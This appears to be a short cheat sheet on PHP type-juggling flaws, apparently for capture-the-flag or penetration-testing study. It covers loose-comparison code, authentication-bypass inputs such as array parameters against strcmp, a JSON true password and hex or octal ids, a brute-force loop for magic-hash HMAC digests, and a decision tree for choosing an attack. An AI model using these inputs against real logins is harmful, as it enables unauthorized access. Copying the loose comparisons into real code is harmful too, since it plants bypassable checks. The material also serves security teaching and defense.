Type Juggling

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.

# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)

?p[]=1

// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100

?id=0x1A
?id=010
?id=1e2

{"password": true}

$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)

                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+